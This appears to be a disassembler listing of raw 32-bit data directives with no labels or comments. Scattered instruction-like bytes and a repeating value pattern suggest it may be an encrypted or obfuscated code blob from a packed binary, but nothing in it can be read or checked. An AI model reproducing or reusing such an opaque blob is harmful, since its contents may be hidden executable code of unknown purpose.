		dd 5B7C1E06h, 0B5A2C390h, 0A8B84E6Fh, 244D54E2h, 8AA10356h
		dd 0E4302571h, 0AE58B1F7h, 575E7932h, 0DC94E8Ch, 26BADA20h
		dd 0B9C080DEh, 2277CCh,	9F3C9E74h, 0EC22005Eh, 0F280DDECh
		dd 0EDA3D91Fh, 0A2A980DDh, 0D4866981h, 15C5AEC3h, 25650A02h
		dd 1DB25EB2h, 18A45h, 0E9EEAF00h, 2E29EBD4h, 6F683019h
		dd 0B2A5715Ah, 0F6E1B49Dh, 0AFF6D3E1h, 0EDD6EBECh, 2F182D2Ah
		dd 6F586D6Ah, 0B393A8AFh, 0F598CE14h, 49ECBAAh,	17C756h
		dd 183FDA13h, 8B68804Dh, 1F0CC84Dh, 18174D9h, 5E737ADBh
		dd 0C5110672h, 0E6E092D8h, 6EA7DB07h, 0D595ADAAh, 0E686BC02h
		dd 0AE69DB07h, 6311DEA9h, 0F94E3B5Ch, 0FF631BC0h, 0AB19C786h
		dd 5E41597Ah, 9D869BBCh, 760FDAFDh, 0AF7A9D3Dh,	3126CAE2h
		dd 0EEB2F8E5h, 0F4E2B6B0h, 17C700EDh, 5002EB00h, 0CD7C097h
		dd 0F8311E3Fh, 9B683324h, 0EF68A683h, 5603A477h, 88A97641h
		dd 0E2CFF0BDh, 5EE21B9Ch, 221A21EAh, 0E4332847h, 0C8532BC0h
		dd 0ED000000h, 2D162B2Ch, 6A53686Fh, 0AB94A9AEh, 0EAD3E8EFh
		dd 9172C2Bh, 2136E5C0h,	6374230Ch, 0A7B0654Eh, 0EEE9A992h
		dd 145AF9D9h, 0CBAAF5DEh, 69C4AE4h, 83D8C511h, 5970073Dh
		dd 19060DD3h, 59709DD3h, 849CA3D3h, 0E6773F85h,	0C67DDB07h
		dd 91865314h, 0B33FA570h, 71D47B56h, 28F31435h,	0D7ECEBABh
		dd 602B2CEEh, 8385A5C7h, 2AE2C94Dh, 71C1F73Dh, 0C0C7DB07h
		dd 3726B8A8h, 3732E0E3h, 0AE9D3DCCh, 0E3373268h, 3ACB2CE0h
		dd 9DE63C93h, 0B2C7E8EFh, 430E09C9h, 3C0710C6h,	27F730C1h
		dd 80986530h, 0AB6BFA65h, 47E3C13h, 0DB95C134h,	9EF0FD28h
		dd 0C9DEFF74h, 2C193EE0h, 6B3621F3h, 0D1A9869Eh, 3, 0C73EDC13h
		dd 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh, 9E1BE6F1h
		dd 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h, 81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC812404h, 4
		dd 68241C89h, 0F2Ah, 81240C89h,	4ECh, 240C8900h, 0AE76DEB9h
		dd 59CB8907h, 7AE768h, 24248900h, 4240481h, 59000000h
		dd 0DF895755h, 895FFD89h, 8B5D0869h, 8957240Ch,	4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 241C8B5Ch, 81E28952h, 4C2h
		dd 4C28300h, 5C241487h,	0FA026AE9h, 65EA77FFh, 0BEE6271Bh
		dd 0B780124Fh, 0C7B8CC5Ch, 307AE7Ch, 0F6E0FFC5h, 743C2464h
		dd 0F7651A2Fh, 893B4DE2h, 5C6C5037h, 5E10E768h,	0E81E7193h
		dd 0Dh,	21B6CF84h, 0E992D9C4h, 21DD32CEh, 5ECA8BA1h, 0FE9h
		dd 5B00EF00h, 8D9A6699h, 8BDA073Ah, 0B7743699h,	646EC681h
		dd 81660000h, 0BA6567D9h, 2694C560h, 0AC88EA81h, 13E92694h
		dd 74000000h, 0A1AC8B9Fh, 337A42Ch, 0D1BC4510h,	0E078506Fh
		dd 36FF3430h, 0F5BC6B1h, 2087h,	8E800h,	0CFC50000h, 8D6F4461h
		dd 0DE936BDh, 26000000h, 0D7C1ED5Ch, 0BD501A18h, 0D1C1DF1Bh
		dd 7FEB8158h, 0FC19E5D3h, 0ACFAEB81h, 0EE95D8Bh, 81000000h
		dd 5212E173h, 0FF946A4Dh, 7C204E74h, 0A7F3819Ah, 817F1440h
		dd 0E827F6DFh, 10E85310h, 9000000h, 0E3A3A8Eh, 3EC1A277h
		dd 4A628EA1h, 0F8B0360h, 188Fh,	13E900h, 0F1280000h, 9B408D7h
		dd 2CEBFDB1h, 64CA30B6h, 84627862h, 68F5FC9h, 83CB8B66h
		dd 585304EEh, 10850F4Ah, 0B9000000h, 2B44D62h, 19E9h, 0E09DB00h
		dd 0E98A0CC4h, 0FFFFFF4Eh, 2C9ED988h, 88E2D7FBh, 0FA3E268h
		dd 1EE94489h, 60000000h, 7001D1h, 0
		dd 5 dup(0)
		dd 4E9E900h, 0C1680000h, 0E907AE7Fh, 0FFFA00F3h, 0AE803368h
		dd 0E9E907h, 0A368FFFAh, 0E907AE81h, 0FFFA00DFh, 1F3423F4h
		dd 5C716636h, 9DB2A573h, 0DCF1E6B4h, 223720F3h,	2DF0B514h
		dd 6D2C152Ah, 0AF6C556Ah, 0E8AA93A8h, 5BFADAEFh, 0AAF2DF15h
		dd 844BE5CBh, 71898E4Bh, 314C78Bh, 0FC1BBB38h, 4CD83DE7h
		dd 7B68898Eh, 1994835h,	74BA0FDBh, 0DB01993Eh, 65253D44h
		dd 0D61C715Eh, 0DB0199A0h, 0F7C2D583h, 88757C2Ah, 1990C42h
		dd 0F30B12DBh, 99528C16h, 6635DB01h, 6B29A671h,	4758A16Ch
		dd 6764FDDCh, 6923E45h,	0DBE9DC21h, 7F823C30h, 0ADC8E0AAh
		dd 36DC9642h, 0EC25E3FFh, 23000002h, 0DA1056ABh, 0E0D35970h
		dd 54DAC1D9h, 0CBB81CF9h, 1766485h, 3A636ADBh, 66DCAB6Ch
		dd 8C48CDD8h, 0F4B4599Fh, 0B3BAE00Eh, 69ADAAE8h, 2FDB367Ch
		dd 0DAE1E7B7h, 0F5E2B4EDh, 8027F7E0h, 77F4BFD8h, 1CE9B4A3h
		dd 0A0E2DAFBh, 1FE76BDFh, 340B28Ah, 55060000h, 90442D42h
		dd 0CF897287h, 0CCAB3C8h, 4E0DF60Bh, 0A3263449h, 2F445302h
		dd 6F849346h, 0B1C6D186h, 0EC0116C8h, 0F1276D0Ch, 0F7CBAAF0h
		dd 1106AF5Dh, 6183D8C5h, 0ACED4425h, 6E97749Dh,	2E5B3EF8h
		dd 2E4F480Ch, 3B822616h, 8188DB07h, 9FB85B94h, 0E5F2A18Ah
		dd 3B55901Ah, 6638DB07h, 14B34CD8h, 0ABCC8E6Bh,	9BCDA5B3h
		dd 0E7BF54F4h, 2CEh, 0BFD4C394h, 0FC1106D6h, 3D524513h
		dd 7C918654h, 0C2D7C093h, 0CD9015B4h, 0DCCB5CAh, 4F0CF50Ah
		dd 884A3348h, 0FB9A7A8Fh, 0AAF07FB5h, 3DEB85CBh, 722C1106h
		dd 8BC107BEh, 91D3594Dh, 33ED08Ah, 4B917E9Fh, 0DB0710A7h
		dd 51DBA6ADh, 0DB071017h, 3AE1932h, 0F70F08CAh,	0F59DB3F7h
		dd 0AB6AA3E3h, 0C07894ACh, 76000001h, 130017C7h, 704278BEh
		dd 4148D359h, 0FCF4C29h, 0CC49F308h, 94D51B08h,	9ADB0198h
		dd 43EC893h, 1FDB0198h,	0BBEF9B06h, 7EE3F025h, 7Ch, 1511067Ch
		dd 0D2845542h, 7EB7A4C5h, 71A7EDDEh, 77D35970h,	38374F70h
		dd 176BDF2h, 8B4B84DBh,	0DCF4C18Ch, 0D328151Ch,	176578Dh
		dd 3E565DDBh, 769DD761h, 0DA80DB01h, 18565024h,	0FE1F0EBEh
		dd 1EAFCD33h, 0A3AE4277h, 461106D2h, 3D3167ADh,	3037DB02h
		dd 8665D045h, 559BF0EDh, 0DB023D1Fh, 76415602h,	0DCF4FBA9h
		dd 0E0AA56C1h, 39E3FF32h, 9Dh, 2433E51Eh, 8E748C59h, 350017C7h
		dd 27F2E5B8h, 24EFE8AAh, 0CBE0F7A7h, 597579D5h,	9DBA5CD3h
		dd 0D179DE88h, 5975558Bh, 33545BD3h, 23560046h,	555CDB04h
		dd 3DDA1368h, 0A4824F1Ah, 0DB04236Eh, 56556D74h, 44597E1Dh
		dd 2BEFB85Bh, 23E41A60h, 0E3EADB04h, 92AF7C2h, 9CD35D11h
		dd 5F37CCF4h, 15Eh, 4F647324h, 8CA1B666h, 0CDE2F5A3h, 0C2136E4h
		dd 52677023h, 7D208544h, 0BD5C455Ah, 0FF9C859Ah, 38DAC3D8h
		dd 8B2A0A1Fh, 0AAEF0F45h, 0CD7B15CBh, 0EE0314C7h, 2D425505h
		dd 17C741h, 0F1E6B835h,	0F12532DCh, 0BED1BE04h,	7698DB01h
		dd 0C9EB4723h, 52122AEDh, 76255E4Bh, 0F54A4961h, 0A3B467A0h
		dd 17C8FC5h, 0B3A472DBh, 666D1BE8h, 0E3A86B4Eh,	7C12488Eh
		dd 1118DB01h, 17BFD33h,	0DBFC03DBh, 7C96D0C6h, 0D979DB01h
		dd 0C298D1BEh, 253D0AD5h, 0A14615FEh, 0B2F8E5F2h, 0DB017C7Ch
		dd 8F5A7B82h, 4E19BDF6h, 0F0BD888Fh, 0AF79B7CFh, 0A2000000h
		dd 0DFAAAD69h, 614FA12h, 56411511h, 0B09DBE8Bh,	5004A377h
		dd 8E5B2647h, 9893D0D4h, 0E0F8E297h, 0EFF39BE1h, 0F2F9DB06h
		dd 0EFE8AA27h, 3167AD02h, 37DB06F0h, 9BBC5F30h,	0A3735C83h
		dd 0FC5FE9B4h, 0DF52B642h, 0D4511C3Bh, 14A1502h, 0FEA685F0h
		dd 49099803h, 0B7D8FF9Eh, 0FE19B9A2h, 0F7E0B633h, 1403D10Ah
		dd 87647C49h, 65F45F0Ch, 3324F2B5h, 6C032512h, 85BB0184h
		dd 8B52B613h, 3438CA84h, 0D2E29E9h, 90C9CEF5h, 58FECFC8h
		dd 8FA7743Fh, 22EDEAACh, 154Ah,	97517300h, 40775F89h, 0DCDAC0D8h
		dd 0AC630325h, 0A28C412Bh, 16C7A48Ah, 19B93601h, 0E1B633FEh
		dd 0EBAE2BF6h, 0F1A421ECh, 0FF9E1BE6h, 0CA900DD8h, 0D38502CDh
		dd 0D87CF9C4h, 833CF4BFh, 0C8904ECh, 81E18924h,	4C1h, 4E98300h
		dd 5C240C87h, 45A968h, 24348900h, 4A2E68h, 243C8900h, 40436851h
		dd 495955A2h, 0D1F7D1F7h, 0F181D1F7h, 0ADF3C16Eh, 5459CE89h
		dd 81243C8Bh, 4C4h, 0C7F6800h, 34890000h, 8478F24h, 5F2434FFh
		dd 4C481h, 348B0000h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 0FC19E95Ch, 4790FFF9h, 0B8412A99h, 7AE8326h,	0E0FFC503h
		dd 516F629Eh, 52537724h, 0E6C3B1Eh, 651230E3h, 84458D8Dh
		dd 8B6607AEh, 318D89D8h, 2907A817h, 0A81D3D9Dh,	5985C707h
		dd 8807A80Ah, 8900006Ch, 0A8328185h, 3985C707h,	7A809h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 2A28C351h, 0B5FFDF8Ah,	7A810A9h
		dd 0FFD88BF8h, 0A81A9995h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0FBB422D9h
		dd 6E1F889Fh, 0C1858B25h, 6A07A805h, 2195FF00h,	8B07A80Dh
		dd 4549EBC0h, 0DC3984D2h, 0B494E918h, 0F844DC25h, 6D35F156h
		dd 81E1E08Fh, 127FD9DBh, 3044D4D0h, 2559C328h, 6E5095EFh
		dd 0B7778990h, 0F1932ECDh, 604F5CA8h, 0E7A2D59Eh, 3D129A1Dh
		dd 31A9D603h, 97A9942Ch, 0BE4570Bh, 7E036562h, 85268D8Dh
		dd 6A07AEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 9D8985C3h, 7A81879h, 17318D89h, 6A07A8h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0CDF357C3h, 0F304B853h, 0C75A76A6h, 0A80A5985h, 5A7007h
		dd 318D8900h, 0C707A80Fh, 0A8093985h, 7, 0D3B70F00h, 0BBDB5FFh
		dd 0CBE07A8h, 0FF716E21h, 0A81A9995h, 9D896007h, 7A8133Dh
		dd 61F3B70Fh, 95FF006Ah, 7A80D21h, 3EEBC08Bh, 9B78E1D9h
		dd 0E81CDB3Eh, 0AF9AB839h, 0F92AE11Bh, 9133D8DCh, 789D6293h
		dd 7B58BD27h, 1AFB118Dh, 0EB87F351h, 548CC48Eh,	95C304D6h
		dd 8EFE7ECCh, 80D0BEA1h, 0A4EBB585h, 2CE98044h,	8E8012Ch
		dd 89000000h, 0BF265D40h, 946973Eh, 0A80CD9BDh,	0BD895807h
		dd 7A82379h, 5E15C081h,	95010000h, 7A82DEDh, 3EF64ABFh
		dd 15F78110h, 29103EE1h, 0A833E58Dh, 6630FF07h,	5AC0CBBEh
		dd 219BD981h, 0F28110C4h, 2D41234Dh, 880Fh, 0C2810000h
		dd 33804D4Dh, 0BD6ABE66h, 8B8BEA81h, 958958B9h,	7A80025h
		dd 0ADB58952h, 8F07A808h, 7E900h, 77F70000h, 88BB0665h
		dd 4E8834Bh, 313D9D09h,	0EF8307A8h, 0AA850F01h,	0FFFFFFFh
		dd 0F80h, 0AE900h, 7A5C0000h, 619C8937h, 0BBAB919Bh, 0B160C653h
		dd 9FBE595Dh, 0D13256AEh, 0B13247BEh, 4BA7EFABh, 0F57A60D0h
		dd 788628Eh, 9F68BF13h,	0A1DA5598h, 8332565Dh, 4AB4D106h
		dd 0D34B5DC6h, 29450210h, 0E8F43139h, 0E932568Bh, 0B1325677h
		dd 0EDA74532h, 0B6BEB3F7h, 58C756AEh, 0B1325658h, 90C6112Eh
		dd 0C84A09CFh, 60F9FD2Bh, 210C7FE9h, 0B0300E94h, 4432565Dh
		dd 305256AEh, 0CC98AF8Ch, 0B13237C8h, 0B139D4DAh, 0B7DB56EAh
		dd 85325675h, 8126D9FBh, 49325685h, 373D56AEh, 0B132565Bh
		dd 0B134DCA4h, 323D56D5h, 0B13256EAh, 353D5675h, 0B13256A0h
		dd 0B122BF3Dh, 494756AEh, 9FD1DAD6h, 9A2C0AE2h,	0A20164Dh
		dd 0E3DF3CEh, 2EF03782h, 0BBDA56E7h, 0D832565Dh, 63827A43h
		dd 52DEC256h, 69B33065h, 0E06DBC50h, 581846Bh, 0D0682043h
		dd 0E05256BAh, 0F0C9CE2h, 61B90CB9h, 0EEB2DA36h, 0BE5256ABh
		dd 30548C62h, 0D0324818h, 0B1C75675h, 0B13CBFBAh, 0CA5F565Dh
		dd 5B45102Eh, 57154D32h, 31201915h, 0B1C756D5h,	4D6336EAh
		dd 4F85592Eh, 0B132A3DBh, 0B13AD352h, 3D3D56AEh, 0B1325655h
		dd 0B1C737CBh, 0B132AFD5h, 0C428EF8Ah, 0BFDA48B1h, 473256BAh
		dd 9930C0DFh, 555F1E8Bh, 22C5783Eh, 0EE533623h,	583256B4h
		dd 0B13256E6h, 922ED2B2h, 0E8763DC9h, 83D0C77Dh, 0BADB56AEh
		dd 0E4325657h, 46FBDE32h, 4BF06391h, 0B13236E6h, 0B133D37Ah
		dd 48CE56BAh, 0B1CB565Dh, 0B13EBFAEh, 35A85657h, 0DB3DE6Ah
		dd 8044F298h, 0B1324D69h, 0B133D17Ah, 0B1CB56BAh, 0B8DB365Dh
		dd 683256AEh, 114CE095h, 675CA8F5h, 0D0E4E9DAh,	323D56EAh
		dd 0B132567Ah, 0B1325C53h, 0A58CC5Dh, 8E3F9EB2h, 0B1B82956h
		dd 0B132AEABh, 0B1325B3Ch, 9B82A2EAh, 85F57157h, 0DA7B51C5h
		dd 0B1321437h, 0B13EDCA1h, 323D5657h, 0B13256ADh, 0B132DDDAh
		dd 0B13256EAh, 0B121BE15h, 70B56BAh, 4F50846h, 0C5654D1Bh
		dd 9A781931h, 87C85ABFh, 0EA6C0142h, 0F5E2F53h,	0B132377Eh
		dd 0B133D6B5h, 0B3CB565Dh, 3E3256AEh, 0B1325642h, 61B330CBh
		dd 0B9DAA0AAh, 7E3256EAh, 856F781Ah, 0EE8FE647h, 0D132563Ch
		dd 0B1324247h, 66B8357h, 0AB230C4h, 0C4B90067h,	60BCB8C2h
		dd 0E23C48BCh, 0D0C1DD82h, 0B5358EA5h, 0B53253AEh, 0AB325357h
		dd 91327CABh, 0E4A6CED6h, 645E8E65h, 363D5675h,	0B13256A3h
		dd 0B13242B4h, 5E2B72AEh, 0C19A336Eh, 3D0E1DBCh, 0E80DC399h
		dd 5AA48B33h, 583256FAh, 0B13256B2h, 3B1A27A8h,	9AB2207Bh
		dd 3F3D5657h, 0B13256A3h, 0B130D5DAh, 0D05256EAh, 0B1CE5675h
		dd 0E5436BAh, 47B37049h, 0FE03A9BFh, 58325636h,	0B13256B8h
		dd 0CBD6BED4h, 63CA0605h, 0ECFCB6Ch, 3BDE5BF5h,	5832EF3Ch
		dd 0B13256A8h, 1E560B09h, 0B132CC2Eh, 0E7325629h, 0B13256E8h
		dd 0F7F8CC90h, 0D13256C3h, 0C6F2A1DCh, 0F5431FFh, 0D1537456h
		dd 0D7C1E9A4h, 0D01BD06Ch, 0B36456EAh, 0B1325672h, 9E9FA4C2h
		dd 0D0BF6F5Ah, 21CB56AEh, 0B1325DBEh, 9C7601ABh, 9882A5B7h
		dd 54EE1944h, 0B134BF25h, 0F6B456BAh, 5220CB29h, 0B13DBF3Eh
		dd 0E9095657h, 0B525C01Ah, 0C1817438h, 2D3D3803h, 0D10359D0h
		dd 0EB6A0CDBh, 0B8DB0605h, 0EC3256AEh, 0E892F585h, 0A4FEA9B5h
		dd 2621EE46h, 0BE537C15h, 0D1600644h, 0E10359DBh, 0EB03590Fh
		dd 0EB6A0CF6h, 803DC60Fh, 0E9680EF1h, 0D75267DAh, 0F548E61h
		dd 0EB533F18h, 1191C0E2h, 7DCD4804h, 2C297CBBh,	5B5C636h
		dd 91110476h, 0FD4DC80Ch, 2CA9FC7Fh, 0B139BFE9h, 554556BAh
		dd 0E1215410h, 0CD5D18E7h, 61B33052h, 0B7DBBFC3h, 973256D5h
		dd 38F428Dh, 0BE53CB76h, 0D160068Bh, 5803593Ch,	0B13256A8h
		dd 9C760181h, 0E968A5C9h, 0F5BB0E8Fh, 3A5252CEh, 0AA6A37BAh
		dd 46C4C702h, 22B09B39h, 0F5BB3733h, 0A5DB5273h, 4D3256ABh
		dd 59398C50h, 25D5F0EBh, 0B1B16448h, 9DED2883h,	0E9C9DCA8h
		dd 0C2D0FB6Ah, 7E1CFF67h, 5A0833F7h, 58320EB4h,	0B13256E7h
		dd 2A70BC77h, 0DA74CA02h, 0C6537694h, 4D3256B1h, 3E3D5657h
		dd 0B13256A8h, 0B153AEB5h, 0B6B259EAh, 0BE325675h, 0B1325735h
		dd 0B132AE5Dh, 0B137D8A1h, 48525657h, 0B1538720h, 0B134BFD5h
		dd 6E0256EAh, 0A6C7B7F9h, 495256BAh, 0D153ADD6h, 0B1539125h
		dd 0B134BF57h, 66F256ABh, 0E2F26BC4h, 0B1CA56EAh, 0B13EBF75h
		dd 0AB3C56BAh, 0DF59FBABh, 0D450E57h, 393D3BBCh, 0B13256AAh
		dd 4932562Dh, 5868048Ah, 0B1325670h, 2EA69CFAh,	0B13237B6h
		dd 0B1325F47h, 2406E357h, 762BDA7Ch, 0B1326D53h, 6EAD78Ah
		dd 0D753AFEEh, 58539531h, 0B1325652h, 0EE5F5355h, 8C910E02h
		dd 7A519B81h, 0B161D5FCh, 305436EAh, 0BEE339B4h, 0B1325530h
		dd 6F85595Dh, 0D13256CFh, 30549EDDh, 0D0997065h, 0B1CA56D5h
		dd 0B139BFEAh, 0D0FC5675h, 1EAB242Fh, 0D5A60FFDh, 0B123BF2Ah
		dd 0EF955657h, 52186590h, 908C5639h, 283AF4D6h,	0B1724570h
		dd 69B936BAh, 0B123BF3Ch, 5B6F56AEh, 405A5BC4h,	0EE3C84BCh
		dd 0FE7EA899h, 0B11DCEBAh, 0B13CBF75h, 96D856BAh, 4FC852C2h
		dd 12D1F97Ch, 4C5E7649h, 0B1CB56ABh, 0B2B659D5h, 0D13256EAh
		dd 0B132378Ch, 0BE325642h, 0B13251D6h, 0CD8736AEh, 0D007B2D7h
		dd 0A5DB56ABh, 213256D5h, 179AD7Ah, 474D0B4Eh, 3B492982h
		dd 95C6CAFBh, 0B1D06222h, 0B13EBF57h, 188D56ABh, 0EA3118Dh
		dd 5BB5EA59h, 0B132D320h, 738559DAh, 5C1CCDE4h,	0B13237FBh
		dd 0B138DB58h, 305256ABh, 1B1E3704h, 0D06A05D6h, 0B132599Ch
		dd 2E76C7BAh, 0D3E78806h, 0C3166451h, 7931F9A5h, 0BEDB56ABh
		dd 503256D5h, 4595481h,	37E78C84h, 547EAA63h, 0B1328323h
		dd 0B127D3A1h, 313D5657h, 0B13256A4h, 0B1325C3Ch, 9087CDEAh
		dd 0D78E527Ch, 0B109B23Dh, 0B132AF5Dh, 0BE325652h, 0B13245DAh
		dd 0B13CBFABh, 2B8A56D5h, 9BD34D45h, 82EA8A8Ch,	2C50C52Bh
		dd 343D565Dh, 0B13256A9h, 31533637h, 5853324Fh,	0B13256D9h
		dd 18405314h, 0A9D72800h, 2EF5CEC2h, 0E52565Dh,	0EA5CDE62h
		dd 38240FE9h, 3F3D37ECh, 0B13256C7h, 0B1325B03h, 0C61D8B75h
		dd 3804F2B7h, 0BD1622F0h, 0B1320BC4h, 7F8D5937h, 3B78AF13h
		dd 0B1323784h, 4285598Ah, 0B7DAAE15h, 1C3256BAh, 0FD94AC41h
		dd 0D0530FB9h, 0BE3256AEh, 0B1325C2Ch, 0B137BFD5h, 0AB6656EAh
		dd 482F39E1h, 0B1CB56BAh, 0E060365Dh, 3A5409F6h, 0B1323796h
		dd 0B1325942h, 12EDBBD5h, 1754ABD0h, 4F0FD915h,	40131B09h
		dd 0B7DB565Dh, 693256AEh, 0ED2F9FE9h, 0B132AE39h, 0B13ED2DAh
		dd 0B6DB56EAh, 80325675h, 834A44ADh, 0B132058Ah, 0BEDCE2CEh
		dd 0B13255D9h, 76B930ABh, 583256B4h, 0B13256F9h, 80054431h
		dd 760BA728h, 81C888BBh, 0FDC44D60h, 581C9590h,	0B13256B9h
		dd 0E75E5526h, 0DB74EB37h, 776DDE2Ah, 6C6EA011h, 0B1326FE6h
		dd 0B13DD8A1h, 0BBDB5657h, 4C3256ABh, 0B16E1DA2h, 0B0BD22A4h
		dd 0BE32565Ah, 0B1325730h, 0B132A35Dh, 48325657h, 353D5657h
		dd 0B13256AAh, 0D132562Dh, 0B153A560h, 0A0B15975h, 583256BAh
		dd 0B1325651h, 4B0672B2h, 585533D9h, 9DB4F822h,	0D75256D5h
		dd 0A2DBA661h, 0B9325675h, 0E87F8DEFh, 392DC422h, 0DB03E931h
		dd 0CB15C9D7h, 0D153A06Bh, 44FCE9DAh, 5832568Bh, 0B132567Ah
		dd 0E7C91B07h, 40C10D7Fh, 990D48A6h, 0B1A02A0Fh, 0B132A3ABh
		dd 0B133D9DAh, 0B1CB56EAh, 0B13DBF75h, 0E2D956BAh, 1386DDDAh
		dd 47841CBEh, 0C75983A6h, 4D3256E5h, 0B9DB56D5h, 0B13256EAh
		dd 7517FA7Ah, 0D14FAC27h, 0B8DAF2E9h, 0A53256AEh, 5EE2380h
		dd 145DDAE6h, 0EEE5E9DAh, 5832568Bh, 0B132567Ch, 80B72236h
		dd 7A3CD02Dh, 4D325684h, 393D5657h, 0B13256BCh,	78B330B5h
		dd 0BADB7AD5h, 4F325675h, 0AE23FF4Ch, 0BE2A842Ch, 0B153A01Ah
		dd 9543657h, 0D0CB60A2h, 0A2DB56D5h, 7A3256EAh,	6A6F293Fh
		dd 0BF689F4Fh, 4E76A70Ah, 9A598E0Ah, 383DCA40h,	0B13256B5h
		dd 0B12AD8DAh, 0A2DB56EAh, 0D8325675h, 0A0A8C4EAh, 65B669B7h
		dd 0E74727B6h, 262BAA63h, 0B132F4D0h, 0D7FBE0B5h, 2FCB9E6Bh
		dd 0B9B35914h, 0BE3256BAh
		dd 0B13254D0h, 0B15336AEh, 0B6B25957h, 0BE3256ABh, 0B132575Bh
		dd 0B1CBAEEAh, 0B123BF75h, 0B9B356BAh, 0AC5BC353h, 0EEB01F12h
		dd 0E8D39E07h, 0B10DE770h, 0B132AFD5h, 0D1325616h, 0B123BF8Ch
		dd 424756BAh, 0E2B99236h, 964F8909h, 0AD4EF4FFh, 0D0550810h
		dd 0B6DB56D5h, 563256EAh, 9220CEC8h, 0B13269F3h, 0B1325FB4h
		dd 0C0AD2CAEh, 6A7E7C05h, 0BE526511h, 2D808862h, 4832568Bh
		dd 0B1CA5675h, 0B9DBAEBAh, 832565Dh, 5B35DC4Ch,	0B1298082h
		dd 0B6B159ABh, 0BE3256D5h, 0B132576Ch, 0B132AA75h, 0D132564Fh
		dd 0A00DE93Bh, 583256CFh, 0B1325645h, 3BCDFCB5h, 0DADE2A47h
		dd 4FC06D05h, 61B8E3EFh, 0B132C346h, 0B118DB52h, 585256AEh
		dd 0B1325646h, 0DDA354E2h, 0A3D40589h, 9A740A7Bh, 643E13D5h
		dd 0B13EBEA2h, 4AF7565Dh, 0DFAE7600h, 72B8D033h, 0D0689C68h
		dd 0B1CA56D5h, 0B132AFEAh, 0D1325689h, 48D1ECDCh, 0D0EADD3Bh
		dd 0BE5256AEh, 0B13250D9h, 0B1BB59ABh, 583256D5h, 0B13256E4h
		dd 0E52A17F2h, 0F99D2748h, 3403F6CAh, 0B1539442h, 63D3657h
		dd 0B7DA365Ch, 263256D5h, 36966AC9h, 353D08B7h,	0B13256BAh
		dd 0B132373Ch, 7B8559CEh, 19F9D705h, 0E80B3F6Fh, 0D13256B4h
		dd 30C6DC8Ah, 9C46C79Bh, 585337ACh, 0B1325658h,	0B827CF96h
		dd 0BE3256A7h, 0B132572Eh, 0B132AFD5h, 0BE325613h, 0B13258FDh
		dd 0B13BBFBAh, 5274565Dh, 0E36A3806h, 0B16EFF1Ch, 0B132AFABh
		dd 0B132AE2Dh, 0B1325303h, 5AB72075h, 0B1321AAEh, 0B13ED152h
		dd 0BE5256AEh, 0B13256D3h, 308C30ABh, 0A0DB371Dh, 313256EAh
		dd 0E0BD12F4h, 0DDF74814h, 214AB66Dh, 5A18BD7Dh, 0B4DB5657h
		dd 7D3256ABh, 461D0B3Eh, 383D56EAh, 0B132567Fh,	0B1325353h
		dd 6CDAB65Dh, 0B1321AC1h, 86C6D637h, 0B131D6A4h, 3A5456D5h
		dd 0B1323712h, 5832568Ch, 0B13256B3h, 74DE2074h, 0C8813C6Ch
		dd 0BE32562Dh, 0B1324326h, 0BEB459D5h, 583256EAh, 0B132567Fh
		dd 9C06DB7Eh, 5B0481A2h, 0B1323D10h, 583256AFh,	0B13256ADh
		dd 5161A04Dh, 323D1AAFh, 0B132567Bh, 0B1325F53h, 1A79D25Dh
		dd 0C8A5C16Bh, 0B132F9C1h, 0B98C30CBh, 46AFED20h, 0B1532A34h
		dd 0A5BA5975h, 583256BAh, 0B1325652h, 50C4700Ch, 0DAF96368h
		dd 0ED0876F7h, 0B1106A74h, 0EA8936EAh, 0D7695902h, 0D08ADA05h
		dd 0B13251B4h, 9CA421AEh, 2CF71F8Eh, 0B1CB56ABh, 6EB236D5h
		dd 0B126BF23h, 1A785675h, 0A5ADA160h, 0ACEA805Dh, 5302C8FBh
		dd 176C4ECCh, 58534543h, 0B13256C6h, 0BC8561D2h, 3DF00911h
		dd 0C4018AA0h, 7975DF1Dh, 0B1397AE0h, 0B9BA5957h, 0BE3256ABh
		dd 0B1325453h, 0B15336EAh, 0B6BD5975h, 0BE3256BAh, 0B13257D5h
		dd 0B132AEAEh, 583256A2h, 0B13256BAh, 0C2C82551h, 9BB683FAh
		dd 8F2083FBh, 0A862E036h, 0BE3256DEh, 0B1324022h, 0A1B75957h
		dd 583256ABh, 0B13256DEh, 0D0E9BFF3h, 0B253226Dh, 0B16EAE20h
		dd 7689365Dh, 49679E27h, 4D325636h, 585256ABh, 0B13256DFh
		dd 44258CA1h, 1DDB5698h, 6FB319C5h, 0DE25C805h,	0BE3256CFh
		dd 0B13257DBh, 0B132AFABh, 0A3DBA3B5h, 733256EAh, 1441397h
		dd 0B4B3F586h, 0DBCD1C16h, 7E09DCC0h, 0B13237D0h, 43B930CBh
		dd 0B130D3DAh, 0EA8356EAh, 0A5DA3614h, 0C73256BAh, 0BFEBCEA7h
		dd 0C5DFB7BAh, 137700B3h, 14EAD81Ch, 3A5EEABFh,	0BCDB0839h
		dd 3E325675h, 0C378D2CFh, 0C75D91F5h, 0F65FEB34h, 0D1325636h
		dd 0D7C59E2Bh, 3B31B854h, 0B132AF8Bh, 0B1325A9Ch, 229F38BAh
		dd 1E892D23h, 0F09C9C5Ch, 58325616h, 0B13256BFh, 5F21E87h
		dd 0D1D559ABh, 0A7C6D0B3h, 735B094h, 94A6E34h, 0D75256AEh
		dd 8946BDD6h, 0D0F4E9A4h, 0B1CE56D5h, 0B9BD59EAh, 0BE325675h
		dd 0B1325432h, 0B153365Dh, 0B132AAAEh, 0B123DF58h, 0BDDB56ABh
		dd 583256D5h, 0E8F02CF3h, 3B501833h, 0B1468E3Dh, 0B132AA5Dh
		dd 57B330CEh, 363D43F7h, 0B13256BEh, 0B132463Ch, 7E0601EAh
		dd 957D3613h, 0E04EBB03h, 34896F20h, 0B13237B0h, 0B13DBF37h
		dd 6D8E56ABh, 73B9A318h, 5733E2EAh, 2067C895h, 628D5967h
